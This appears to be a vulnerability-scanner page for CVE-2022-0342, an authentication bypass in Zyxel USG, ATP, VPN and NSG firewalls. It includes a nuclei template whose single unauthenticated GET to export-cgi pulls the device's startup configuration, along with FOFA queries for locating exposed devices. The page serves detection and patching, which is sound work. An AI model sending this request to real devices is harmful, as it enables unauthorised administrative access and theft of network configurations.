Zyxel - Authentication Bypass

criticalseverity

9.8CVSS score

95.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.

Impact

Unauthenticated attackers can bypass web authentication and obtain administrative access to Zyxel devices, potentially gaining complete control over firewalls and network security configurations.

Fix

Apply security updates provided by Zyxel for affected USG/ZyWALL, USG FLEX, ATP, VPN, and NSG series devices.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/export-cgi?category=config&arg0=startup-config.conf
Positive when: contains "interface-name" and "saved at" AND contains in header "text/zyxel" and "attachment; filename=" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0342 -u <target>

The full check

id: CVE-2022-0342

info:
  name: Zyxel - Authentication Bypass
  author: SleepingBag945,Powerexploit
  severity: critical
  description: |
    An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
  impact: |
    Unauthenticated attackers can bypass web authentication and obtain administrative access to Zyxel devices, potentially gaining complete control over firewalls and network security configurations.
  remediation: |
    Apply security updates provided by Zyxel for affected USG/ZyWALL, USG FLEX, ATP, VPN, and NSG series devices.
  reference:
    - https://github.com/gobysec/GobyVuls/blob/master/CVE-2022-0342.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0342
    - https://www.zyxel.com/support/Zyxel-security-advisory-for-authentication-bypass-vulnerability-of-firewalls.shtml
    - https://github.com/f1tao/awesome-iot-security-resource
    - https://github.com/murchie85/twitterCyberMonitor
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0342
    cwe-id: CWE-287
    epss-score: 0.95134
    epss-percentile: 0.99863
    cpe: cpe:2.3:o:zyxel:usg40_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: usg40_firmware
    fofa-query:
      - body="/2FA-access.cgi" && body="zyxel zyxel_style1"
      - body="/2fa-access.cgi" && body="zyxel zyxel_style1"
  tags: cve2022,cve,zyxel,auth-bypass,router,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/export-cgi?category=config&arg0=startup-config.conf"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "interface-name"
          - "saved at"
        condition: and

      - type: word
        part: header
        words:
          - "text/zyxel"
          - "attachment; filename="
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from